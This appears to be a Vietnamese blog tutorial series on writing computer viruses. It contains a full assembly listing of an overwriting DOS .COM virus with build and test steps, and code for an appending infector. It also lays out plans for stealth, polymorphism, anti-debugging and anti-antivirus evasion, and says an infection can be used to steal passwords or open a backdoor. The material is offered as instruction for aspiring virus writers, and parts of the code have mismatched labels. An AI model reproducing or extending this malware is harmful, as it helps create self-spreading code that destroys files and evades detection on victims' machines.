Virus của chúng ta sẽ là một file .com ,giới hạn của *.com file là 65,536 bytes.Qua virus này bạn sẽ biết được định dạng chung của một file .com, chúng ta hãy phân tích đoạn mã trên:
================================================== ======
code segment
tất cả những mã có thể thi hành nằm trong code segment , tất nhiên không nhất thiết segment phải có tên là code, cấu trúc khai báo là như sau:
segment_name segment
————
———-
———-
segment_name Ends
end
Nếu bạn đã hoc Asembly thì không cần phải đọc chỗ này.
================================================== ======
assume cs:code,ds:code
Nói chung đây là phần thiết đặt tham số cho file .com của chúng ta, với
CS(code segment) là nơi chứa địa chỉ bắt đầu thực thi của chương trình.
org 100h
org 100h luôn luôn đi theo assume directive. Nó thông báo cho máy tính biết rằng file COM đuợc xác đình tại địa chỉ 100 hex hay 256 bytes.
================================================== ======
proc virus near
Cái này không thực sự cần thiết vì procedure này là chương trình con duy nhất trong chương trình.Những chương trình lớn hơn sẽ có nhiều Procedure trong code segment để thức hiện một nhiệm vụ nhất định nào đó. ================================================== ======
first_file:
mov ah,4eh
Bậy giờ là phần cốt lõi của virus ,nếu bạn đã hoc lập trình thì các bạn cũng biết nhựng cái theo sau là dấu hai chấm được gọi là nhãn, nó hữ¬ ích cho việc xác định vị trí để xài các lệnh nhảy trong ASM hay lệnh goto trong Pascal,delphi…
Để phân tích tiếp chúng ta cần biết thanh ghi là gì?Một thanh ghyi được sử dụng để khởi đầu chỉ lệnh để máy tính thi hành một yêu cầu hoạt động ,được sử dụng để ghi địa chỉ bộ nhớ và chuẩn bị những hàm số học cơ bản , nhập xuất dữ liệu… .Bốn thanh ghi cơ bản sử dụng trong virus này là AX, BX, CX, DX (). Thanh ghi ax sử dụng cho nhập xuất và các thao tác tính toán cơ bản BX (base register) sử dụng để tính toán CX (count register ) sử dụng để tính toán hay đếm trong vòng lặp. DX (data register ) giống như AX , được sử dụng cho nhập xuất , hoạt động nhân chia
Bây giờ trở lại với virus của chúng ta mục đích cua get_fly là tìm thấy file để làm nhiễm. Thực sự là tìm file đầu tiên trong thư mục có thuộc tính chúng ta cần. Vì vậy,chúng tac ần nạp điều kiện vào thanh ghi chung và thực hiện một lệnh ngắt. Ơû đây do là một chương trình DOS nên chỉ đề cập đến thanh ghi 16 bit , môt thanh ghi 16 bit gồm 2 phần, mỗi phần 8 bit ví dụ AX:AH-AL tương tự như vậy ta có : BH – BL, CH – CL, va’ DH – DL. Giá trị cần nạp vào thanh ghi chung là 4e hex vào AH, CX = zero để set thuộc tính của file là normal, và cuối cùng, DX cần một chuỗi chỉ đính file mà chúng ta đang tìm kiếm để làm nhiễm. Và để di chuyển 4e hex vao’ AH chúng ta sử dụng lệnh MOV. MOV AH, 4eh có nghĩa là chuyển giá trị 4e hex vào AH
================================================== =========
tim_file:
xor cx,cx
Việc tiếp theo cần làm là giá trị trong CX =0, chúng ta có thể làm bằng 2 cách , một là MOV CX, 0, hai là XOR CX, CX tuy nhiên nấu sử dụng MOV CX,0 chúng ta sẽ mất 3 bytes trong khi sử dụng XOR CX,CX chúng ta chỉ mất 2 bytes và chúng đều có chức năng set cho CX =0. Vậy thì tốt hơn là nên chọn XOR CX,CX
================================================== =========
lea dx,comsig
Tiếp theo chúng ta cần nạp chuỗi với file chỉ định mà chúng ta tìm kiếm vào DX.
Chúng ta đang tìm file . COM. Vi vay chuỗi cần tìm là *.COM. Đây là cách tìm kiếm những tập tin có đuôi là *.COM. Chuỗi này được xác định tại địa chỉ comsig trong data segment của virus . Và để chuyển chuỗi đó vào DX chúng ta thực hiện lệnh
LEA DX, comsig, oad the ffective ddress of comsig into DX. Chúng ta cũng có thể sử dụng lệnh MOV bằng cách như sau
MOV DX, offset comsig. ================================================== =========
int 21h
Nói chung lệnh ngắt để dừng chương trình lại và thực hiện một công việc nào đó .Co’ 256 lệnh ngắt các bạn có thể tham khảo thêm ở các sách dạy hợp ngữ .Ở đoạn mã này của virus sau khi chuyển 4e hex vào AX xóa CX, chuyển chuỗi chỉ định tên file cần tìm ta thực hiện lệnh ngắt int 21 để chương trình bắt đầu tìm tệp đầu tiên với thuôc tính cho trước trong CX và DX (các bạn tra trong sách hợp ngữ về các chức năng của ngắt int 21 để biết thêm chi tiết)
================================================== =========
jc ketthuc
Đây là một lệnh nhảy có điều kiên’. Nếu một file được tìm thấy cờ carry được set là zero nếu không tìm thấy cờ carry set thành 1 lệnh JC kiểm tra nếu cờ carry bằng 1nó sẽ nhảy tới vị trí có nhãn wart_growth và thi hành lệnh tại offset đó .Và đoạn mã này có chức nằng như sau: nó kiểm tra xem nếu tìm thấy thì tiến hành các bước làm nhiễm file nếu không thì nhãy tời đoạn mã báo hiệu bạn đã làm nhiễm thành cộng tất cả các file .Com trong thư mục chứa nó .
================================================== ===========
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
Đoạn mã này được thực hiện khi đã tìm thấy một file .COM trong thư mục đầu tiên cần nạp 3D vào AL và 02h có nghĩa là mở file trong chế độ đọc/ghi. 00h trong AL sẽ mở file ở chế độ chỉ đọc , 01h trong AL là chỉ ghi. Nhớ rằng AX là thanh ghi 16-bit gồm, AH và AL.Vi vay chúng ta có thể nạp hai giá trị cùng lúc . bằng cách nạp AX với 3d02h. Nhớ rằng chúng ta luôn luôn sử dụng gia’ trị ở hệ hex. Một lỗi đơn giản nhưng hay gặp phải là thiếu “h” sau int 21 hay sau các số ở hệ HEX bạn cần chú ý . Nếu thiếu Hex máy tính sẽ nghĩ bạn sử dụng hệ thập phân và dĩ nhiên trong hệ thập phân máy tính sẽ coi D,E,F chả ra củ khoai gì …. Tiếp theo chúng ta cần nạp vào DX một chuỗi ASCII là tên của file .Như bạn nhìn ở trên 9e hex không phải là một chuỗi ;nó thực ra là offset của địa chỉ chứa chuỗi chúng ta cần. 9e hex được xác định trong PSP trong một vùng gọi là DTA hay isk ransfer rea. PSP bắt đầu tại 00h. Địa chỉ bắt đầu của DTA la’ 80 hex.Trong DTA là thông tin trên file đã được tìm thấy. Những gì chúng ta cần là file name, được xác định tại offset 1eh từ phần bắt đầu của DTA. Cộng 80 với 1eh ta có 9eh. Nạp 9e hex vào thanh ghi DX chúng ta có file name . bây giờ thức hiện int 21h để thi hành thủ tục trên.
================================================== ============
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny – offset first_fly
lea dx,first_fly
int 21h
Đây là phần làm nhiê’m file sau khi đã mở nó .Ở đoạn mã trước File handle của file được mở nằm trong AX chúng ta cần nó nằm trong BX vậy nên thực hiện lệnh
xchg bx,ax bằng cách này toàn bộ giá trị trong ax sẽ chuyển vào bx . CX cần được nạp một số lượng byte mà chúng ta muốn ghi vào. Và thay vì ta sử dụng một con số nào đó để chỉ định số bytes ta để máy tính tính khoảng cách từ 2 offset nhãn horny và firts_fly như vậy khoảng cách từ nhãn first_fly đến horny là số lượng bytes mà chúng ta muốn ghi vào file. Cuối cùng, DX cần được nạp địa chỉ mà chúng ta muốn ghi và địa chỉ cua’ first_fly được nạp vào DX. Đó là phần bắt đầu của mã mà chúng ta muốn ghi vào file tìm thấy .Sau đó thực hiện int 21 sẽ hoàn tất việc làm nhiễm file.
================================================== =========
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
Sau khi file đã bị nhiễm chúng ta cần đóng file đó lại và đây là đoạn mã thực hiện việc này. Sau khi đóng file chúng ta nạp 4f hex vào AH rồi nhảy trở về đoạn mã để tìm file .COM kế tiếp. Và nó sẽ thực hiện việc nhiễm file cho đến khi nào tất cả file .COM trong thu muc chưa nó đã bị nhiễm.Lúc đó cờ carry=1 và lệnh nhảy jc sẽ hoạt động đưa ra thông báo chúc mừng.
================================================== =================
Ketthuc:
mov ah,9
mov dx,offset wart
int 21h
================================================== ================
cya: int 20h
Chức năng của int 20 là kết thúc chương trình , tuy nhiên cách hiện nay hay dùng là MOV AH,4CH
int 21
================================================== ================
comsig db “*.com”,0
msgadd db ‘Congratulations! You have infected all the COM files
in this’,10,13
db ‘Have a nice day.’,10,13,’$’
Đây là data segment nói một cách nọm na là tương tự như bạn khai báo hằng (Const) ở pascal,C++ vậy.Và các hằng này sẽ được sử dụng trong code segment. Chúng ta sử dụng định nghĩa byte DB, để định nghĩa một chuỗi. Việc đặt 10,13 sau các chuỗi giúp cho việc hiển thị nó có thứ tự nếu không cả hai chuỗi sẽ hiển thị cùng lúc lên màn hinh $ tại phần cuối của dòng 2 báo hiệu kết thúc chuôi ================================================== =================
horny label near
nhãn horny chỉ có một mục đích là để xác điịnh offset trong việc xác định số byte ghi vào file cần làm nhiễm ================================================== =================
virus endp
code ends
end first_fly
kết thúc chương trình
================================================== ==============
Biên dịch virus :
Bạn cần có TASM hay MASM. Trongbài này tôi hướng dẫn các bạn biên dịch virus bằng TASM. Các file cần có virus.asm TASM.EXE, TLINK
Đầu tiên lưu nó thành file “.asm” file,có thể sử dụng Notepad để soạn thảo mã rồi save as virus.asm. Sử dụng TASM gõ lệnh:
C:\>tasm virus.asm
Kết quả có thể là như sau:
Turbo Assembler Version 2.01
Assembling file: virus.asm
Error Messages: none
Warning Messages: none
Passes: 1
Remaining Memory: 418k (or something similar)
Nếu không có lỗi nào, nếu có lỗi nó sẽ báo cho bạn biết lỗi gì ở dòng nào .
Sau khi gõ lệnh TASM bạn sẽ được file *.obj
Để tạo COM file bạn gõ lệnh:
C:\>tlink /t virus.obj
Tlink sẽ tạo ra file virus.COM
Bây giờ hãy thử nghiệmvirus của bạn, mở Notepad lên, ghi gì tùy bạn , không ghi cũng được lưu thành file vidu.com. đặt nóvào thư muc của virus bạn vừa biên dịch. Rồi chạy virus bạn sẽ thấy kích thước của file vidu.com bây giờ sẽ bằng kích thước của virus(180 bytes). Tuy nhiên nhược virus này sẽ làm nhiễm tất cả các file .com trong thư mục chứa nó mà không cần biết file đó đã bị nhiễm hay chưa, ở phần sau tôi sẽ hướng dẫn các bạn cách để kiểm tra xem một file đã bị nhiễm hay chưa. Và cònmột điều nữa là virus này không có tác dụng với những file .com có size lớn hơn nó (đây chỉ là để minh họa nên tôi nghĩ như vậy là đủ)
================================================== =============
Appendix 1 – The Registers
AX Accumulator register
BX Base register
CX Counting register
DX Data register
DS Data Segment register
ES Extra Segment register
SS Stack Segment register
CS Code Segment register
BP Base Pointers register
SI Source Index register
DI Destiny Index register
SP Stack Pointer register
IP Next Instruction Pointer register
F Flag register
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Appendix 2 – The PSP
Format of Program Segment Prefix (PSP):
Offset Size Description (Table 1032)
00h 2 BYTEs INT 20 instruction for CP/M CALL 0 program termination
the CDh 20h here is often used as a signature(chu ky) for a valid PSP
02h WORD segment of first byte beyond memory allocated to program
04h BYTE (DOS) unused filler
(OS/2) count of fake DOS version returns
05h BYTE CP/M CALL 5 service request (FAR CALL to absolute 000C0h)
BUG: (DOS 2+ DEBUG) PSPs created by DEBUG point at 000BEh
06h WORD CP/M compatibility–size of first segment for .COM files
08h 2 BYTEs remainder of FAR JMP at 05h
0Ah DWORD stored INT 22 termination address
0Eh DWORD stored INT 23 control-Break handler address
12h DWORD DOS 1.1+ stored INT 24 critical error handler address
16h WORD segment of parent PSP
18h 20 BYTEs DOS 2+ Job File Table, one byte per file handle, FFh = closed
2Ch WORD DOS 2+ segment of environment for process (see #1033)
2Eh DWORD DOS 2+ process’s SS:SP on entry to last INT 21 call
32h WORD DOS 3+ number of entries in JFT (default 20)
34h DWORD DOS 3+ pointer to JFT (default PSP:0018h)
38h DWORD DOS 3+ pointer to previous PSP (default FFFFFFFFh in 3.x)
used by SHARE in DOS 3.3
3Ch BYTE DOS 4+ (DBCS) interim console flag (see AX=6301h)
Novell DOS 7 DBCS interim flag as set with AX=6301h
(possibly also used by Far East MS-DOS 3.2-3.3)
3Dh BYTE (APPEND) TrueName flag (see INT 2F/AX=B711h)
3Eh BYTE (Novell NetWare) flag: next byte initialized if CEh
(OS/2) capabilities flag
3Fh BYTE (Novell NetWare) Novell task number if previous byte is CEh
40h 2 BYTEs DOS 5+ version to return on INT 21/AH=30h
42h WORD (MSWindows3) selector of next PSP (PDB) in linked list
Windows keeps a linked list of Windows programs only
44h WORD (MSWindows3) “PDB_Partition”
46h WORD (MSWindows3) “PDB_NextPDB”
48h BYTE (MSWindows3) bit 0 set if non-Windows application (WINOLDAP)
49h BYTE unused by DOS versions <= 6.00
4Ch WORD (MSWindows3) “PDB_EntryStack”
4Eh 2 BYTEs unused by DOS versions <= 6.00
50h 3 BYTEs DOS 2+ service request (INT 21/RETF instructions)
53h 2 BYTEs unused in DOS versions <= 6.00
55h 7 BYTEs unused in DOS versions <= 6.00; can be used to make first FCB
into an extended FCB
5Ch 16 BYTEs first default FCB, filled in from first commandline argument
overwrites second FCB if opened
6Ch 16 BYTEs second default FCB, filled in from second commandline argument
overwrites beginning of commandline if opened
7Ch 4 BYTEs unused
80h 128 BYTEs commandline / default DTA
command tail is BYTE for length of tail, N BYTEs for the tail,
followed by a BYTE containing 0Dh
——————————————————————————
Appendix 3 – Examples of various JUMP commands
JA – Jump if Above
JAE – Jump if Above/Equal
JB – Jump if Below
JBE – Jump if Below/Equal
JC – Jump if Carry
JE – Jump if Equal
JG – Jump if Greater
JGE – Jump if Greater/Equal
JL – Jump if Less
JLE – Jump if Less/Equal
JMP – Jump
JNA – Jump if Not Above
JNAE – Jump if Not Above/Equal

Hướng Dẫn Lập Trình Virus

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

BÀI 1: MỞ ĐẦU
Author: spinx

Bạn có muốn trở thành VXer? Mục đích bài này tôi muốn giới thiệu cho newbie về cách viết VR. Yêu cầu trước hết là biết lập trình ASM. Đoạn ấy tôi không hướng dẫn được các bác tự mua sách học lấy. Tôi không đưa dạng từng lệnh một đâu. Làm như vậy mất hết tính sáng tạo của mọi người đi. Chúng ta sẽ bắt đầu từ các định nghĩa cơ bản. Xin lỗi chua thêm 1 câu: suy nghĩ kỹ khi thực hành, tôi không chịu trách nhiệm về những gì các bác làm

VR là gì?
E hèm... cũng khó đấy vì trong thực tế VR HẾT SỨC ĐA DẠNG. Tuy nhiên ta có thể định nghiã nôm na VR là một đoạn code có khả năng tự sao chép, nhân bản (không đúng với trojan lắm nhỉ ). VR có thể nằm trong các tệp khả thi (executable files) như COM hoặc EXE, boot sector, MBR...

Chọn ngôn ngữ lập trình
Thông thường VR được xây dựng bằng Assembler nhưng không nhất thiết như vậy.
VR trên thực tế có thể xây dựng bằng Pascal, C, VB... thậm chí có VR còn được viết bằng tệp BAT. Tuy vậy tôi khuyên nên chọn ASM với các lý do sau:
Kích thước nhỏ: ngôn ngữ ASM sẽ cho ta khả năng lập trình với kích thước nhỏ nhất có thể. Đây là một đặc tính quan trong của VR. Bằng ASM ta sẽ bớt đi rất nhiều code không cần thiết và trùng lặp do các trình biên dịch ngôn ngữ bậc cao sinh ra. Trong quá trình tối ưu mã code ta có thể tối ưu đến từng byte mã lệnh. Lựa chọn các lệnh có cùng kết quả với kích thước nhỏ nhất....
Khả năng kiểm soát: Ta có thể kiểm soát từng lệnh, move code từ vị trí này sang vị trí khác, vừa chạy vừa patch code ( patch on-the-fly ). Mã hoá code từng phần ....
Tính linh hoạt: đây là ưu điểm mạnh nhất của ASM khi lập trình. Là một ngôn ngữ phi cấu trúc, khả năng sáng tạo trên ASM là không bị giới hạn.
Cuối cùng nhiều khi VR không hoàn toàn là một chương trình (boot VR chẳng hạn) nên chẳng có lý do gì để chọn một ngôn ngữ bâc cao cả trừ phi bạn quá lười.

Một Vxer cần có gì
Như vậy, hãy trang bị cho mình chút kiến thức về ASM rồi ta bắt tay với vài công cụ tối thiểu sau:
-Chương trình dịch ASM. Bạn có thể chọn TASM, MASM hoặc một chương trình dịch bất kỳ tuỳ thích. Nói chung với tasm 3.1 là đủ với một dos VR
-Chương trình link. Có thể là Tlink hoặc link.exe
-Một tool debuger.
Có nhiều lắm, debug, symdeb... (dos) softice, win32dasm... (win)
-Một chương trình soạn text (quickedit, notepad, utraedit....)
-Kiếm vài mẫu VR cơ bản, đừng bắt đầu từ VR phức tạp quá nếu không bạn sẽ mệt mỏi vì debug thuật toán mã hoá và vượt qua một đống mã anti-debug.
Kiếm vài con cô cổ như LittleGirl, onehalf...
-Tool dump bộ nhớ. Nếu không có thì sài tạm chức năng của debuger vậy
-Bảng tra cứu ngắt trong vài quyển lập trình hệ thống hoặc dùng tech-help
-Chương trình diệt VR (các AV xịn chứ không phải BKAV đâu) để kiểm tra xem VR của bạn đã thực sự tàng hình trước các kiểm tra heuristic chưa
-Email của tôi nếu cần giúp đỡ
Còn gì không nhỉ? Thôi tạm thế đã

Có một điều Vxer nên ghi nhớ KHÔNG MÁY MÓC.
Bạn đã biết làm VR nhưng đừng máy móc theo dập khuôn. Sáng tạo càng kỳ quặc VR của bạn càng nguy hiểm. Đảo code đi thoải mái miễn đạt kết quả. Nghĩ ra càng nhiều tips & trịck càng tốt.
Tôi hy vọng sẽ lần lượt giới thiệu đủ các VR file trên dos, boot VR, VR file trên win, VR file trên Linux, trojan và cuối cùng là VR trên nhiều hệ điều hành DOS-WIN-UNIX.

Ta bắt đầu với một VR file đơn giản. Một VR file thường làm gì:
1. Mở file cần lây nhiễm
2. Kiểm tra xem đã từng nhiễm chưa
3.
Nếu rồi thì bỏ qua
4.
Lưu ngày giờ của file
5. Lưu đoạn code đầu chương trình (COM) hoặc header (EXE)
6. Nhét lệnh nhảy tới VR của ta đè lên code đã lưu (COM) hoặc sửa header (EXE)
để VR có thể bắt đầu trước chương trình gốc
7. Nối thêm VR của ta vào file
8. Cập nhật ngày tháng cũ
OK, ta đã có một VR đơn giản. Tôi sẽ phân tích từng mục ở các phần sau.

Thực ra có một loại VR tồi tệ nhất là overwriting VR. VR này thường ghi đè lên tệp gốc dẫn đến què quặt dữ liệu. Bạn định tranh luận với tôi là còn có rất nhiều hình thức lây lan khác ư? Tôi biết nhưng đây chỉ là bài cho
newbie đừng quên điều đó.


Tiếp tục nhá, các thao tác khác một VR có thể làm là gì:
Thường trú: Nhiều người nghĩ rằng VR là phải thường trú nhưng không hẳn vậy. Chính vì thế tôi không liệt thao tác này vào trong nhóm các thao tác thường làm.

Lây nhiễm: Một VR có thể lây nhiễm nhiều cách (ở trên là lây nhiễm tệp khả thi) qua files, email... hoặc boot sector (đĩa mềm), macro... Nạn nhân sẽ chạy file lây nhiễm mà không biết. Alê hấp, VR nắm quyền điều khiển

Nắm quyền điều khiển: Một khi VR đã chạy ta có thể làm mọi điều ta muốn. Phát huy trí tưởng tượng thoải mái. Bạn có thể lấy mọi thông tin của nạn nhân (trojan hay làm) từ pwd email đến thư tình... thậm chí mở một backdoor để điều khiển máy tính từ xa.

Phá hoại: Một khi đã nắm quyền điều khiển, bạn có thể phá hoại những gì bạn thích phá. Theo nhận xét của tôi, phá hoại là hình thức chỉ các beginner mới thích làm. Nó hơi thất đức, và tất nhiên có VR hoàn toàn không phá hoại

Một vài kỹ thuật nâng cao tôi sẽ phân tích thêm trong bài viết là:
ARMOURING: chống debug và disassembler. Đây là một trong các kỹ thuật tự bảo vệ cho VR (xem thêm bài kỹ thuật lập trình VR). Tôi sẽ cung cấp chi tiết cho các bạn một số cách bẫy ngắt lạ (int 1, int 0, int 6...), đánh lừa stack, đặt điểm dừng (break points), fetch code on-the-fly

STEALTH: có một số thuật toán rất hay ( FCB, Handles, SFT, tự tháo gỡ...). Các kỹ thuật này nhằm làm nạn nhân thấy tệp tin có vẻ như chưa bị nhiễm. Nó có thể trả về kích thước chuẩn khi nạn nhân rờ đến hoặc thậm chí tự tháo gỡ VR ra khỏi tệp khi nạn nhân mở file. Tôi sẽ trình bày kỹ về FCBStealth, SFTStealth, Handle stealth. Tự tháo gỡ thì chắc các bạn sẽ tự làm được

ENCRYPTION: tôi sẽ trình bày vài cách mã hoá đơn giản và thông dụng. VR thường mã hoá code của nó và chỉ giải mã ra khi chạy.

POLYMORPHISM: Đa hình là kỹ thuật tự thay đổi code mã hoá nhằm tạo ra càng nhiều phiên bản càng tốt. Tự thay đổi liên tục là một chức năng sinh tồn.

ANTI-HEURISTIC: Thuật toán chống tìm kiếm hueristic (xem thêm Kỹ thuật lập trìnhVR)

TUNNELING: kỹ thuật bẫy ngắt

ANTI-TUNNELING: Cách giữ ngắt cho riêng mình, tránh AV hoặc VR khác

ANTI-BAIT: Điều cần tránh khi lây nhiễm (xem thêm kỹ thuật lập trình VR)

OPTIMIZATION: Một số kinh nghiệm tối ưu code
Mỏi tay quá rồi, hẹn các bác bài sau nhé.... to be continue!

(spinx)
BÀI 2: VR TRÊN DOS
Author: spinx
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật lập trình VR của tôi.

Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã nhiễm VR. Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.

. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------.
. ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |Virus. |

Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình gốc ra sau VR theo dạng

------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |File. . |

Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước, chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.
Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:

Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|
. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|

Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4.
Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6.
Nối VR vào cuối CT gốc
7.
Phục hồi lại ngày giờ tạo file
8. Đóng file

Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm

Thực hành:

Bắt đầu một VR đơn giản:

.model tiny
.code

org 0100h

jump_to_VR:
db 0E9h,0,0
; jmp start
start:
call get_addr
db 0b8h
;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp

Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định
bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt của dos.
Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first), hàm 4Fh ngắt 21h (find next) để tìm kiếm.

Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như sau:

get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....

xxx db “*.COM”,0

Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì phức tạp:
1. Mở file:

;offset tên file nạp vào ==> dx
mov ax, 3D02h
; Open R/O
int 21h
xchg ax, bx
; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx

3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h

Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu tệp đã bị lây nhiễm thì không lây nhiễm lại.

4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h
;<== Lấy kích thước tệp
Với:
JmpCode:db 0E9h,00,00
Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h

5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,
int 21h

6. Phục hồi ngày giờ
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h

7. Đóng tệp
mov ah,3eh
int 21h

Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2> vào đầu ct gốc

Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và nhảy về đó

Đến đây ta kết thúc một VR .com không thường trú.

Câu hỏi và bài tập:

1. Tập viết một chương trình bằng ASM hiển thị tất cả các tệp *.com trong
thư mục hiện hành và gốc c:\
2. Viết một chương trình nối một đoạn mã vào một tệp
3.
Hãy nghiên cứu và trả lời các câu hỏi sau:
- Thông thường kích thước tốii đa của một tệp .com trên dos là bao nhiêu
- Lệnh nhảy gần có mấy bytes vvà ý nghĩa từng byte
- Khoảng cách tối đa của một lệnh nhảy gần
Câu hỏi nâng cao:

Di rời một đoạn mã máy từ vị trí này sang vị trí khác trên bộ nhớ sẽ có ảnh hưởng thế nào đến các lệnh nhảy và call
BÀI 3: KỸ THUẬT BẢO VỆ
Author: Spinx
Các newbie xem cũng được nhưng bài này không dành cho newbie. Đây không phải khái niêm cơ bản, tôi chỉ muốn tổng kết một số kỹ thuật bảo vệ trong môn virus programming

Một chương trình diệt VR (AV) tốt là một AV tìm được nhiều VR. Một VR mạnh là một VR được bảo vệ. Được bảo vệ có nghĩa là VR có các tính năng chống phát hiện, chống emulate, chống disassemble, khó theo dõi hành vi. Ở đây tôi xin đề cập đến một vài kỹ thuật bảo vệ như vậy đã từng được các V-er áp dụng trong virus programming.
Có nhiều cách lắm và rất đa dạng như bất cứ kỹ thuật nào cần đến sức sáng tạo của con người. Trong phần này tôi sẽ đề cập tới các kỹ thuật chính:
- anti-emulator
- anti-heuristics
- anti-analysis (anti-disasm)
- anti-debug
- anti-monitor
- anti-antivirus (retro)
- anti-bait
Đây là giới thiệu chung nên tôi không đưa hết các code ví dụ. Có thể tôi sẽ phân tích và đưa ra code ví dụ sâu hơn ở từng kỹ thuật nếu thấy có nhiều bạn đọc quan tâm. Nếu bạn nào muốn thảo luận sâu hơn về kỹ thuật nào xin liên hệ trực tiếp.

